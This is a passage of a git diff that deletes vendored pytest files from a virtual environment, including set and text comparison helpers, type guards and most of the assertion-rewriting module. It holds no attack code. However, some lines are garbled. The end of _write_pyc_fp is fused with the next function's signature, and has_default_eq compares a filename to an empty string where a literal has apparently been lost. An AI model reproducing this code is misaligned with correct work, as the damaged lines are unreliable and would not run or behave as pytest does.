_HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - if left == right: - yield "Both sets are equal" - else: - yield from _set_one_sided_diff("left", left, right, highlighter) - - -SetComparisonFunction: TypeAlias = Callable[ - [AbstractSet[object], AbstractSet[object], _HighlightFunc, int], - Iterator[str], -] - - -def _both_sets_are_equal( - left: AbstractSet[object], - right: AbstractSet[object], - highlighter: _HighlightFunc, - verbose: int = 0, -) -> Iterator[str]: - yield "Both sets are equal" - - -SET_COMPARISON_FUNCTIONS: dict[str, SetComparisonFunction] = { - # == can't be done here without a prior refactor because there's an additional - # explanation for iterable in _compare_eq_any - # "==": _compare_eq_set, - "!=": _both_sets_are_equal, - ">=": _compare_gte_set, - "<=": _compare_lte_set, - ">": _compare_gt_set, - "<": _compare_lt_set, -} diff --git a/venv/Lib/site-packages/_pytest/assertion/_guards.py b/venv/Lib/site-packages/_pytest/assertion/_guards.py deleted file mode 100644 index bb9fedd6e6588986de3236a50d14d9c850cdbe8d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_guards.py +++ /dev/null @@ -1,60 +0,0 @@ -from __future__ import annotations - -import collections.abc -from collections.abc import Mapping -import dataclasses -from typing import TypeGuard - - -def issequence(x: object) -> TypeGuard[collections.abc.Sequence[object]]: - return isinstance(x, collections.abc.Sequence) and not isinstance(x, str) - - -def istext(x: object) -> TypeGuard[str]: - return isinstance(x, str) - - -def ismapping(x: object) -> TypeGuard[Mapping[object, object]]: - return isinstance(x, Mapping) - - -def isset(x: object) -> TypeGuard[set[object] | frozenset[object]]: - return isinstance(x, set | frozenset) - - -def isnamedtuple(obj: object) -> bool: - return isinstance(obj, tuple) and getattr(obj, "_fields", None) is not None - - -isdatacls = dataclasses.is_dataclass - - -def isattrs(obj: object) -> bool: - return getattr(obj, "__attrs_attrs__", None) is not None - - -def isiterable(obj: object) -> TypeGuard[collections.abc.Iterable[object]]: - try: - iter(obj) # type: ignore[call-overload] - return not istext(obj) - except Exception: - return False - - -def has_default_eq(obj: object) -> bool: - """Check if an instance of an object contains the default eq - - First, we check if the object's __eq__ attribute has __code__, - if so, we check the equally of the method code filename (__code__.co_filename) - to the default one generated by the dataclass and attr module - for dataclasses the default co_filename is , for attrs class, the __eq__ should contain "attrs eq generated" - """ - # inspired from https://github.com/willmcgugan/rich/blob/07d51ffc1aee6f16bd2e5a25b4e82850fb9ed778/rich/pretty.py#L68 - if hasattr(obj.__eq__, "__code__") and hasattr(obj.__eq__.__code__, "co_filename"): - code_filename = obj.__eq__.__code__.co_filename - - if isattrs(obj): - return "attrs generated " in code_filename - - return code_filename == "" # data class - return True diff --git a/venv/Lib/site-packages/_pytest/assertion/_typing.py b/venv/Lib/site-packages/_pytest/assertion/_typing.py deleted file mode 100644 index f032f34e0bce70a4a3bc25c9f456b51ed9fe9d2b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/_typing.py +++ /dev/null @@ -1,12 +0,0 @@ -from __future__ import annotations - -from typing import Literal -from typing import Protocol - - -_AssertionTextDiffStyle = Literal["ndiff", "block"] - - -class _HighlightFunc(Protocol): # noqa: PYI046 - def __call__(self, source: str, lexer: Literal["diff", "python"] = "python") -> str: - """Apply highlighting to the given source.""" diff --git a/venv/Lib/site-packages/_pytest/assertion/compare_text.py b/venv/Lib/site-packages/_pytest/assertion/compare_text.py deleted file mode 100644 index 31096444ba69d1eb3d63f67bcfb0009c1654b2b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/compare_text.py +++ /dev/null @@ -1,104 +0,0 @@ -from __future__ import annotations - -from collections.abc import Iterator - -from _pytest._io.saferepr import saferepr -from _pytest.assertion._typing import _AssertionTextDiffStyle -from _pytest.assertion._typing import _HighlightFunc -from _pytest.assertion.highlight import dummy_highlighter -from _pytest.compat import assert_never - - -def _compare_eq_text( - left: str, - right: str, - highlighter: _HighlightFunc, - verbose: int, - assertion_text_diff_style: _AssertionTextDiffStyle, -) -> Iterator[str]: - match assertion_text_diff_style: - case "block": - yield from _diff_text_block(left, right) - case "ndiff": - yield from _diff_text(left, right, highlighter, verbose) - case unreachable: - assert_never(unreachable) - - -def _diff_text_block(left: str, right: str) -> Iterator[str]: - yield "Left:" - yield from _format_text_block_lines(left) - yield "" - yield "Right:" - yield from _format_text_block_lines(right) - - -def _format_text_block_lines(text: str) -> Iterator[str]: - for line in text.split("\n"): - yield f" {line}" - - -def _diff_text( - left: str, right: str, highlighter: _HighlightFunc, verbose: int = 0 -) -> Iterator[str]: - """Yield the explanation for the diff between text. - - Unless --verbose is used this will skip leading and trailing - characters which are identical to keep the diff minimal. - """ - from difflib import ndiff - - if verbose < 1: - i = 0 # just in case left or right has zero length - for i in range(min(len(left), len(right))): - if left[i] != right[i]: - break - if i > 42: - i -= 10 # Provide some context - yield f"Skipping {i} identical leading characters in diff, use -v to show" - left = left[i:] - right = right[i:] - if len(left) == len(right): - for i in range(len(left)): - if left[-i] != right[-i]: - break - if i > 42: - i -= 10 # Provide some context - yield ( - f"Skipping {i} identical trailing " - "characters in diff, use -v to show" - ) - left = left[:-i] - right = right[:-i] - keepends = True - if left.isspace() or right.isspace(): - left = repr(str(left)) - right = repr(str(right)) - yield "Strings contain only whitespace, escaping them using repr()" - # "right" is the expected base against which we compare "left", - # see https://github.com/pytest-dev/pytest/issues/3333 - yield from highlighter( - "\n".join( - line.strip("\n") - for line in ndiff(right.splitlines(keepends), left.splitlines(keepends)) - ), - lexer="diff", - ).splitlines() - - -def _notin_text(term: str, text: str, verbose: int = 0) -> Iterator[str]: - index = text.find(term) - head = text[:index] - tail = text[index + len(term) :] - correct_text = head + tail - diff = _diff_text(text, correct_text, dummy_highlighter, verbose) - yield f"{saferepr(term, maxsize=42)} is contained here:" - for line in diff: - if line.startswith("Skipping"): - continue - if line.startswith("- "): - continue - if line.startswith("+ "): - yield " " + line[2:] - else: - yield line diff --git a/venv/Lib/site-packages/_pytest/assertion/highlight.py b/venv/Lib/site-packages/_pytest/assertion/highlight.py deleted file mode 100644 index 9ae833f19e6e5ab51d25ad3a22ad22292e572834..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/highlight.py +++ /dev/null @@ -1,11 +0,0 @@ -from __future__ import annotations - -from typing import Literal - - -def dummy_highlighter(source: str, lexer: Literal["diff", "python"] = "python") -> str: - """Dummy highlighter that returns the text unprocessed. - - Needed for _notin_text, as the diff gets post-processed to only show the "+" part. - """ - return source diff --git a/venv/Lib/site-packages/_pytest/assertion/rewrite.py b/venv/Lib/site-packages/_pytest/assertion/rewrite.py deleted file mode 100644 index 99815b70cf1a947b129f024d1b8d09b820f36f34..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/assertion/rewrite.py +++ /dev/null @@ -1,1193 +0,0 @@ -"""Rewrite assertion AST to produce nice error messages.""" - -from __future__ import annotations - -import ast -from collections import defaultdict -from collections.abc import Callable -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Sequence -import errno -import functools -import importlib.abc -import importlib.machinery -import importlib.util -import io -import itertools -import marshal -import os -from pathlib import Path -from pathlib import PurePath -import struct -import sys -import tokenize -import types -from typing import IO -from typing import TYPE_CHECKING - - -if sys.version_info >= (3, 12): - from importlib.resources.abc import TraversableResources -else: - from importlib.abc import TraversableResources -if sys.version_info < (3, 11): - from importlib.readers import FileReader -else: - from importlib.resources.readers import FileReader - - -from _pytest._io.saferepr import DEFAULT_REPR_MAX_SIZE -from _pytest._io.saferepr import saferepr -from _pytest._io.saferepr import saferepr_unlimited -from _pytest._version import version -from _pytest.assertion import util -from _pytest.config import Config -from _pytest.fixtures import FixtureFunctionDefinition -from _pytest.main import Session -from _pytest.pathlib import absolutepath -from _pytest.pathlib import fnmatch_ex -from _pytest.stash import StashKey - - -# fmt: off -from _pytest.assertion.util import format_explanation as _format_explanation # noqa:F401, isort:skip -# fmt:on - -if TYPE_CHECKING: - from _pytest.assertion import AssertionState - - -class Sentinel: - pass - - -assertstate_key = StashKey["AssertionState"]() - -# pytest caches rewritten pycs in pycache dirs -PYTEST_TAG = f"{sys.implementation.cache_tag}-pytest-{version}" -PYC_EXT = ".py" + ((__debug__ and "c") or "o") -PYC_TAIL = "." + PYTEST_TAG + PYC_EXT - -# Special marker that denotes we have just left a scope definition -_SCOPE_END_MARKER = Sentinel() - - -class AssertionRewritingHook(importlib.abc.MetaPathFinder, importlib.abc.Loader): - """PEP302/PEP451 import hook which rewrites asserts.""" - - def __init__(self, config: Config) -> None: - self.config = config - try: - self.fnpats = config.getini("python_files") - except ValueError: - self.fnpats = ["test_*.py", "*_test.py"] - self.session: Session | None = None - self._rewritten_names: dict[str, Path] = {} - self._must_rewrite: set[str] = set() - # flag to guard against trying to rewrite a pyc file while we are already writing another pyc file, - # which might result in infinite recursion (#3506) - self._writing_pyc = False - self._basenames_to_check_rewrite = {"conftest"} - self._marked_for_rewrite_cache: dict[str, bool] = {} - self._session_paths_checked = False - - def set_session(self, session: Session | None) -> None: - self.session = session - self._session_paths_checked = False - - # Indirection so we can mock calls to find_spec originated from the hook during testing - _find_spec = importlib.machinery.PathFinder.find_spec - - def find_spec( - self, - name: str, - path: Sequence[str | bytes] | None = None, - target: types.ModuleType | None = None, - ) -> importlib.machinery.ModuleSpec | None: - if self._writing_pyc: - return None - state = self.config.stash[assertstate_key] - if self._early_rewrite_bailout(name, state): - return None - state.trace(f"find_module called for: {name}") - - # Type ignored because mypy is confused about the `self` binding here. - spec = self._find_spec(name, path) # type: ignore - - if ( - # the import machinery could not find a file to import - spec is None - # this is a namespace package (without `__init__.py`) - # there's nothing to rewrite there - or spec.origin is None - # we can only rewrite source files - or not isinstance(spec.loader, importlib.machinery.SourceFileLoader) - # if the file doesn't exist, we can't rewrite it - or not os.path.exists(spec.origin) - ): - return None - else: - fn = spec.origin - - if not self._should_rewrite(name, fn, state): - return None - - return importlib.util.spec_from_file_location( - name, - fn, - loader=self, - submodule_search_locations=spec.submodule_search_locations, - ) - - def create_module( - self, spec: importlib.machinery.ModuleSpec - ) -> types.ModuleType | None: - return None # default behaviour is fine - - def exec_module(self, module: types.ModuleType) -> None: - assert module.__spec__ is not None - assert module.__spec__.origin is not None - fn = Path(module.__spec__.origin) - state = self.config.stash[assertstate_key] - - self._rewritten_names[module.__name__] = fn - - # The requested module looks like a test file, so rewrite it. This is - # the most magical part of the process: load the source, rewrite the - # asserts, and load the rewritten source. We also cache the rewritten - # module code in a special pyc. We must be aware of the possibility of - # concurrent pytest processes rewriting and loading pycs. To avoid - # tricky race conditions, we maintain the following invariant: The - # cached pyc is always a complete, valid pyc. Operations on it must be - # atomic. POSIX's atomic rename comes in handy. - write = not sys.dont_write_bytecode - cache_dir = get_cache_dir(fn) - if write: - ok = try_makedirs(cache_dir) - if not ok: - write = False - state.trace(f"read only directory: {cache_dir}") - - cache_name = fn.name[:-3] + PYC_TAIL - pyc = cache_dir / cache_name - # Notice that even if we're in a read-only directory, I'm going - # to check for a cached pyc. This may not be optimal... - co = _read_pyc(fn, pyc, state.trace) - if co is None: - state.trace(f"rewriting {fn!r}") - source_stat, co = _rewrite_test(fn, self.config) - if write: - self._writing_pyc = True - try: - _write_pyc(state, co, source_stat, pyc) - finally: - self._writing_pyc = False - else: - state.trace(f"found cached rewritten pyc for {fn}") - exec(co, module.__dict__) - - def _early_rewrite_bailout(self, name: str, state: AssertionState) -> bool: - """A fast way to get out of rewriting modules. - - Profiling has shown that the call to PathFinder.find_spec (inside of - the find_spec from this class) is a major slowdown, so, this method - tries to filter what we're sure won't be rewritten before getting to - it. - """ - if self.session is not None and not self._session_paths_checked: - self._session_paths_checked = True - for initial_path in self.session._initialpaths: - # Make something as c:/projects/my_project/path.py -> - # ['c:', 'projects', 'my_project', 'path.py'] - parts = str(initial_path).split(os.sep) - # add 'path' to basenames to be checked. - self._basenames_to_check_rewrite.add(os.path.splitext(parts[-1])[0]) - - # Note: conftest already by default in _basenames_to_check_rewrite. - parts = name.split(".") - if parts[-1] in self._basenames_to_check_rewrite: - return False - - # For matching the name it must be as if it was a filename. - path = PurePath(*parts).with_suffix(".py") - - for pat in self.fnpats: - # if the pattern contains subdirectories ("tests/**.py" for example) we can't bail out based - # on the name alone because we need to match against the full path - if os.path.dirname(pat): - return False - if fnmatch_ex(pat, path): - return False - - if self._is_marked_for_rewrite(name, state): - return False - - state.trace(f"early skip of rewriting module: {name}") - return True - - def _should_rewrite(self, name: str, fn: str, state: AssertionState) -> bool: - # always rewrite conftest files - if os.path.basename(fn) == "conftest.py": - state.trace(f"rewriting conftest file: {fn!r}") - return True - - if self.session is not None: - if self.session.isinitpath(absolutepath(fn)): - state.trace(f"matched test file (was specified on cmdline): {fn!r}") - return True - - # modules not passed explicitly on the command line are only - # rewritten if they match the naming convention for test files - fn_path = PurePath(fn) - for pat in self.fnpats: - if fnmatch_ex(pat, fn_path): - state.trace(f"matched test file {fn!r}") - return True - - return self._is_marked_for_rewrite(name, state) - - def _is_marked_for_rewrite(self, name: str, state: AssertionState) -> bool: - try: - return self._marked_for_rewrite_cache[name] - except KeyError: - for marked in self._must_rewrite: - if name == marked or name.startswith(marked + "."): - state.trace(f"matched marked file {name!r} (from {marked!r})") - self._marked_for_rewrite_cache[name] = True - return True - - self._marked_for_rewrite_cache[name] = False - return False - - def mark_rewrite(self, *names: str) -> None: - """Mark import names as needing to be rewritten. - - The named module or package as well as any nested modules will - be rewritten on import. - """ - already_imported = ( - set(names).intersection(sys.modules).difference(self._rewritten_names) - ) - for name in already_imported: - mod = sys.modules[name] - if not AssertionRewriter.is_rewrite_disabled( - mod.__doc__ or "" - ) and not isinstance(mod.__loader__, type(self)): - self._warn_already_imported(name) - self._must_rewrite.update(names) - self._marked_for_rewrite_cache.clear() - - def _warn_already_imported(self, name: str) -> None: - from _pytest.warning_types import PytestAssertRewriteWarning - - self.config.issue_config_time_warning( - PytestAssertRewriteWarning( - f"Module already imported so cannot be rewritten; {name}" - ), - stacklevel=5, - ) - - def get_data(self, pathname: str | bytes) -> bytes: - """Optional PEP302 get_data API.""" - with open(pathname, "rb") as f: - return f.read() - - def get_resource_reader(self, name: str) -> TraversableResources: - return FileReader(types.SimpleNamespace(path=self._rewritten_names[name])) # type: ignore[arg-type] - - -def _write_pyc_fp( - fp: IO[bytes], source_stat: os.stat_result, co: types.CodeType -) -> None: - # Technically, we don't have to have the same pyc format as - # (C)Python, since these "pycs" should never be seen by builtin - # import. However, there's little reason to deviate. - fp.write(importlib.util.MAGIC_NUMBER) - # https://www.python.org/dev/peps/pep-0552/ - flags = b"\x00\x00\x00\x00" - fp.write(flags) - # as of now, bytecode header expects 32-bit numbers for size and mtime (#4903) - mtime = int(source_stat.st_mtime) & 0xFFFFFFFF - size = source_stat.st_size & 0xFFFFFFFF - # " bool: - proc_pyc = f"{pyc}.{os.getpid()}" - try: - with open(proc_pyc, "wb") as fp: - _write_pyc_fp(fp, source_stat, co) - except OSError as e: - state.trace(f"error writing pyc file at {proc_pyc}: errno={e.errno}") - return False - - try: - os.replace(proc_pyc, pyc) - except OSError as e: - state.trace(f"error writing pyc file at {pyc}: {e}") - # we ignore any failure to write the cache file - # there are many reasons, permission-denied, pycache dir being a - # file etc. - return False - return True - - -def _rewrite_test(fn: Path, config: Config) -> tuple[os.stat_result, types.CodeType]: - """Read and rewrite *fn* and return the code object.""" - stat = os.stat(fn) - source = fn.read_bytes() - strfn = str(fn) - tree = ast.parse(source, filename=strfn) - rewrite_asserts(tree, source, strfn, config) - co = compile(tree, strfn, "exec", dont_inherit=True) - return stat, co - - -def _read_pyc( - source: Path, pyc: Path, trace: Callable[[str], None] = lambda x: None -) -> types.CodeType | None: - """Possibly read a pytest pyc containing rewritten code. - - Return rewritten code if successful or None if not. - """ - try: - fp = open(pyc, "rb") - except OSError: - return None - with fp: - try: - stat_result = os.stat(source) - mtime = int(stat_result.st_mtime) - size = stat_result.st_size - data = fp.read(16) - except OSError as e: - trace(f"_read_pyc({source}): OSError {e}") - return None - # Check for invalid or out of date pyc file. - if len(data) != (16): - trace(f"_read_pyc({source}): invalid pyc (too short)") - return None - if data[:4] != importlib.util.MAGIC_NUMBER: - trace(f"_read_pyc({source}): invalid pyc (bad magic number)") - return None - if data[4:8] != b"\x00\x00\x00\x00": - trace(f"_read_pyc({source}): invalid pyc (unsupported flags)") - return None - mtime_data = data[8:12] - if int.from_bytes(mtime_data, "little") != mtime & 0xFFFFFFFF: - trace(f"_read_pyc({source}): out of date") - return None - size_data = data[12:16] - if int.from_bytes(size_data, "little") != size & 0xFFFFFFFF: - trace(f"_read_pyc({source}): invalid pyc (incorrect size)") - return None - try: - co = marshal.load(fp) - except Exception as e: - trace(f"_read_pyc({source}): marshal.load error {e}") - return None - if not isinstance(co, types.CodeType): - trace(f"_read_pyc({source}): not a code object") - return None - return co - - -def rewrite_asserts( - mod: ast.Module, - source: bytes, - module_path: str | None = None, - config: Config | None = None, -) -> None: - """Rewrite the assert statements in mod.""" - AssertionRewriter(module_path, config, source).run(mod) - - -def _saferepr(obj: object) -> str: - r"""Get a safe repr of an object for assertion error messages. - - The assertion formatting (util.format_explanation()) requires - newlines to be escaped since they are a special character for it. - Normally assertion.util.format_explanation() does this but for a - custom repr it is possible to contain one of the special escape - sequences, especially '\n{' and '\n}' are likely to be present in - JSON reprs. - """ - if isinstance(obj, types.MethodType): - # for bound methods, skip redundant information - return obj.__name__ - - maxsize = _get_maxsize_for_saferepr(util._config) - if not maxsize: - return saferepr_unlimited(obj).replace("\n", "\\n") - return saferepr(obj, maxsize=maxsize).replace("\n", "\\n") - - -def _get_maxsize_for_saferepr(config: Config | None) -> int | None: - """Get `maxsize` configuration for saferepr based on the given config object.""" - if config is None: - verbosity = 0 - else: - verbosity = config.get_verbosity(Config.VERBOSITY_ASSERTIONS) - if verbosity >= 2: - return None - if verbosity >= 1: - return DEFAULT_REPR_MAX_SIZE * 10 - return DEFAULT_REPR_MAX_SIZE - - -def _format_assertmsg(obj: object) -> str: - r"""Format the custom assertion message given. - - For strings this simply replaces newlines with '\n~' so that - util.format_explanation() will preserve them instead of escaping - newlines. For other objects saferepr() is used first. - """ - # reprlib appears to have a bug which means that if a string - # contains a newline it gets escaped, however if an object has a - # .__repr__() which contains newlines it does not get escaped. - # However in either case we want to preserve the newline. - replaces = [("\n", "\n~"), ("%", "%%")] - if not isinstance(obj, str): - obj = saferepr(obj, _get_maxsize_for_saferepr(util._config)) - replaces.append(("\\n", "\n~")) - - for r1, r2 in replaces: - obj = obj.replace(r1, r2) - - return obj - - -def _should_repr_global_name(obj: object) -> bool: - if callable(obj): - # For pytest fixtures the __repr__ method provides more information than the function name. - return isinstance(obj, FixtureFunctionDefinition) - - try: - return not hasattr(obj, "__name__") - except Exception: - return True - - -def _format_boolop(explanations: Iterable[str], is_or: bool) -> str: - explanation = "(" + ((is_or and " or ") or " and ").join(explanations) + ")" - return explanation.replace("%", "%%") - - -def _call_reprcompare( - ops: Sequence[str], - results: Sequence[bool], - expls: Sequence[str], - each_obj: Sequence[object], -) -> str: - for i, res, expl in zip(range(len(ops)), results, expls, strict=True): - try: - done = not res - except Exception: - done = True - if done: - break - if util._reprcompare is not None: - custom = util._reprcompare(ops[i], each_obj[i], each_obj[i + 1]) - if custom is not None: - return custom - return expl - - -def _call_assertion_pass(lineno: int, orig: str, expl: str) -> None: - if util._assertion_pass is not None: - util._assertion_pass(lineno, orig, expl) - - -def _check_if_assertion_pass_impl() -> bool: - """Check if any plugins implement the pytest_assertion_pass hook - in order not to generate explanation unnecessarily (might be expensive).""" - return True if util._assertion_pass else False - - -UNARY_MAP = {ast.Not: "not %s", ast.Invert: "~%s", ast.USub: "-%s", ast.UAdd: "+%s"} - -BINOP_MAP = { - ast.BitOr: "|", - ast.BitXor: "^", - ast.BitAnd: "&", - ast.LShift: "<<", - ast.RShift: ">>", - ast.Add: "+", - ast.Sub: "-", - ast.Mult: "*", - ast.Div: "/", - ast.FloorDiv: "//", - ast.Mod: "%%", # escaped for string formatting - ast.Eq: "==", - ast.NotEq: "!=", - ast.Lt: "<", - ast.LtE: "<=", - ast.Gt: ">", - ast.GtE: ">=", - ast.Pow: "**", - ast.Is: "is", - ast.IsNot: "is not", - ast.In: "in", - ast.NotIn: "not in", - ast.MatMult: "@", -} - - -def traverse_node(node: ast.AST) -> Iterator[ast.AST]: - """Recursively yield node and all its children in depth-first order.""" - yield node - for child in ast.iter_child_nodes(node): - yield from traverse_node(child) - - -@functools.lru_cache(maxsize=1) -def _get_assertion_exprs(src: bytes) -> dict[int, str]: - """Return a mapping from {lineno: "assertion test expression"}.""" - ret: dict[int, str] = {} - - depth = 0 - lines: list[str] = [] - assert_lineno: int | None = None - seen_lines: set[int] = set() - - def _write_and_reset() -> None: - nonlocal depth, lines, assert_lineno, seen_lines - assert assert_lineno is not None - ret[assert_lineno] = "".join(lines).rstrip().rstrip("\\") - depth = 0 - lines = [] - assert_lineno = None - seen_lines = set() - - tokens = tokenize.tokenize(io.BytesIO(src).readline) - for tp, source, (lineno, offset), _, line in tokens: - if tp == tokenize.NAME and source == "assert": - assert_lineno = lineno - elif assert_lineno is not None: - # keep track of depth for the assert-message `,` lookup - if tp == tokenize.OP and source in "([{": - depth += 1 - elif tp == tokenize.OP and source in ")]}": - depth -= 1 - - if not lines: - lines.append(line[offset:]) - seen_lines.add(lineno) - # a non-nested comma separates the expression from the message - elif depth == 0 and tp == tokenize.OP and source == ",": - # one line assert with message - if lineno in seen_lines and len(lines) == 1: - offset_in_trimmed = offset + len(lines[-1]) - len(line) - lines[-1] = lines[-1][:offset_in_trimmed] - # multi-line assert with message - elif lineno in seen_lines: - lines[-1] = lines[-1][:offset] - # multi line assert with escaped newline before message - else: - lines.append(line[:offset]) - _write_and_reset() - elif tp in {tokenize.NEWLINE, tokenize.ENDMARKER}: - _write_and_reset() - elif lines and lineno not in seen_lines: - lines.append(line) - seen_lines.add(lineno) - - return ret - - -class AssertionRewriter(ast.NodeVisitor): - """Assertion rewriting implementation. - - The main entrypoint is to call .run() with an ast.Module instance, - this will then find all the assert statements and rewrite them to - provide intermediate values and a detailed assertion error. See - http://pybites.blogspot.be/2011/07/behind-scenes-of-pytests-new-assertion.html - for an overview of how this works. - - The entry point here is .run() which will iterate over all the - statements in an ast.Module and for each ast.Assert statement it - finds call .visit() with it. Then .visit_Assert() takes over and - is responsible for creating new ast statements to replace the - original assert statement: it rewrites the test of an assertion - to provide intermediate values and replace it with an if statement - which raises an assertion error with a detailed explanation in - case the expression is false and calls pytest_assertion_pass hook - if expression is true. - - For this .visit_Assert() uses the visitor pattern to visit all the - AST nodes of the ast.Assert.test field, each visit call returning - an AST node and the corresponding explanation string. During this - state is kept in several instance attributes: - - :statements: All the AST statements which will replace the assert - statement. - - :variables: This is populated by .variable() with each variable - used by the statements so that they can all be set to None at - the end of the statements. - - :variable_counter: Counter to create new unique variables needed - by statements. Variables are created using .variable() and - have the form of "@py_assert0". - - :expl_stmts: The AST statements which will be executed to get - data from the assertion. This is the code which will construct - the detailed assertion message that is used in the AssertionError - or for the pytest_assertion_pass hook. - - :explanation_specifiers: A dict filled by .explanation_param() - with %-formatting placeholders and their corresponding - expressions to use in the building of an assertion message. - This is used by .pop_format_context() to build a message. - - :stack: A stack of the explanation_specifiers dicts maintained by - .push_format_context() and .pop_format_context() which allows - to build another %-formatted string while already building one. - - :scope: A tuple containing the current scope used for variables_overwrite. - - :variables_overwrite: A dict filled with references to variables - that change value within an assert. This happens when a variable is - reassigned with the walrus operator - - This state, except the variables_overwrite, is reset on every new assert - statement visited and used by the other visitors. - """ - - def __init__( - self, module_path: str | None, config: Config | None, source: bytes - ) -> None: - super().__init__() - self.module_path = module_path - self.config = config - if config is not None: - self.enable_assertion_pass_hook = config.getini( - "enable_assertion_pass_hook" - ) - else: - self.enable_assertion_pass_hook = False - self.source = source - self.scope: tuple[ast.AST, ...] = () - self.variables_overwrite: defaultdict[tuple[ast.AST, ...], dict[str, str]] = ( - defaultdict(dict) - ) - - def run(self, mod: ast.Module) -> None: - """Find all assert statements in *mod* and rewrite them.""" - if not mod.body: - # Nothing to do. - return - - # We'll insert some special imports at the top of the module, but after any - # docstrings and __future__ imports, so first figure out where that is. - doc = getattr(mod, "docstring", None) - expect_docstring = doc is None - if doc is not None and self.is_rewrite_disabled(doc): - return - pos = 0 - for item in mod.body: - match item: - case ast.Expr(value=ast.Constant(value=str() as doc)) if ( - expect_docstring - ): - if self.is_rewrite_disabled(doc): - return - expect_docstring = False - case ast.ImportFrom(level=0, module="__future__"): - pass - case _: - break - pos += 1 - # Special case: for a decorated function, set the lineno to that of the - # first decorator, not the `def`. Issue #4984. - if isinstance(item, ast.FunctionDef) and item.decorator_list: - lineno = item.decorator_list[0].lineno - else: - lineno = item.lineno - # Now actually insert the special imports. - aliases = [ - ast.alias("builtins", "@py_builtins", lineno=lineno, col_offset=0), - ast.alias( - "_pytest.assertion.rewrite", - "@pytest_ar", - lineno=lineno, - col_offset=0, - ), - ] - imports = [ - ast.Import([alias], lineno=lineno, col_offset=0) for alias in aliases - ] - mod.body[pos:pos] = imports - - # Collect asserts. - self.scope = (mod,) - nodes: list[ast.AST | Sentinel] = [mod] - while nodes: - node = nodes.pop() - if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef | ast.ClassDef): - self.scope = tuple((*self.scope, node)) - nodes.append(_SCOPE_END_MARKER) - if node == _SCOPE_END_MARKER: - self.scope = self.scope[:-1] - continue - assert isinstance(node, ast.AST) - for name, field in ast.iter_fields(node): - if isinstance(field, list): - new: list[ast.AST] = [] - for i, child in enumerate(field): - if isinstance(child, ast.Assert): - # Transform assert. - new.extend(self.visit(child)) - else: - new.append(child) - if isinstance(child, ast.AST): - nodes.append(child) - setattr(node, name, new) - elif ( - isinstance(field, ast.AST) - # Don't recurse into expressions as they can't contain - # asserts. - and not isinstance(field, ast.expr) - ): - nodes.append(field) - - @staticmethod - def is_rewrite_disabled(docstring: str) -> bool: - return "PYTEST_DONT_REWRITE" in docstring - - def variable(self) -> str: - """Get a new variable.""" - # Use a character invalid in python identifiers to avoid clashing. - name = "@py_assert" + str(next(self.variable_counter)) - self.variables.append(name) - return name - - def assign(self, expr: ast.expr) -> ast.Name: - """Give *expr* a name.""" - name = self.variable() - self.statements.append(ast.Assign([ast.Name(name, ast.Store())], expr)) - return ast.copy_location(ast.Name(name, ast.Load()), expr) - - def display(self, expr: ast.expr) -> ast.expr: - """Call saferepr on the expression.""" - return self.helper("_saferepr", expr) - - def helper(self, name: str, *args: ast.expr) -> ast.expr: - """Call a helper in this module.""" - py_name = ast.Name("@pytest_ar", ast.Load()) - attr = ast.Attribute(py_name, name, ast.Load()) - return ast.Call(attr, list(args), []) - - def builtin(self, name: str) -> ast.Attribute: - """Return the builtin called *name*.""" - builtin_name = ast.Name("@py_builtins", ast.Load()) - return ast.Attribute(builtin_name, name, ast.Load()) - - def explanation_param(self, expr: ast.expr) -> str: - """Return a new named %-formatting placeholder for expr. - - This creates a %-formatting placeholder for expr in the - current formatting context, e.g. ``%(py0)s``. The placeholder - and expr are placed in the current format context so that it - can be used on the next call to .pop_format_context(). - """ - specifier = "py" + str(next(self.variable_counter)) - self.explanation_specifiers[specifier] = expr - return "%(" + specifier + ")s" - - def push_format_context(self) -> None: - """Create a new formatting context. - - The format context is used for when an explanation wants to - have a variable value formatted in the assertion message. In - this case the value required can be added using - .explanation_param(). Finally .pop_format_context() is used - to format a string of %-formatted values as added by - .explanation_param(). - """ - self.explanation_specifiers: dict[str, ast.expr] = {} - self.stack.append(self.explanation_specifiers) - - def pop_format_context(self, expl_expr: ast.expr) -> ast.Name: - """Format the %-formatted string with current format context. - - The expl_expr should be an str ast.expr instance constructed from - the %-placeholders created by .explanation_param(). This will - add the required code to format said string to .expl_stmts and - return the ast.Name instance of the formatted string. - """ - current = self.stack.pop() - if self.stack: - self.explanation_specifiers = self.stack[-1] - keys: list[ast.expr | None] = [ast.Constant(key) for key in current.keys()] - format_dict = ast.Dict(keys, list(current.values())) - form = ast.BinOp(expl_expr, ast.Mod(), format_dict) - name = "@py_format" + str(next(self.variable_counter)) - if self.enable_assertion_pass_hook: - self.format_variables.append(name) - self.expl_stmts.append(ast.Assign([ast.Name(name, ast.Store())], form)) - return ast.Name(name, ast.Load()) - - def generic_visit(self, node: ast.AST) -> tuple[ast.Name, str]: - """Handle expressions we don't have custom code for.""" - assert isinstance(node, ast.expr) - res = self.assign(node) - return res, self.explanation_param(self.display(res)) - - def visit_Assert(self, assert_: ast.Assert) -> list[ast.stmt]: - """Return the AST statements to replace the ast.Assert instance. - - This rewrites the test of an assertion to provide - intermediate values and replace it with an if statement which - raises an assertion error with a detailed explanation in case - the expression is false. - """ - if isinstance(assert_.test, ast.Tuple) and len(assert_.test.elts) >= 1: - import warnings - - from _pytest.warning_types import PytestAssertRewriteWarning - - # TODO: This assert should not be needed. - assert self.module_path is not None - warnings.warn_explicit( - PytestAssertRewriteWarning( - "assertion is always true, perhaps remove parentheses?" - ), - category=None, - filename=self.module_path, - lineno=assert_.lineno, - ) - - self.statements: list[ast.stmt] = [] - self.variables: list[str] = [] - self.variable_counter = itertools.count() - - if self.enable_assertion_pass_hook: - self.format_variables: list[str] = [] - - self.stack: list[dict[str, ast.expr]] = [] - self.expl_stmts: list[ast.stmt] = [] - self.push_format_context() - # Rewrite assert into a bunch of statements. - top_condition, explanation = self.visit(assert_.test) - - negation = ast.UnaryOp(ast.Not(), top_condition) - - if self.enable_assertion_pass_hook: # Experimental pytest_assertion_pass hook - msg = self.pop_format_context(ast.Constant(explanation)) - - # Failed - if assert_.msg: - assertmsg = self.helper("_format_assertmsg", assert_.msg) - 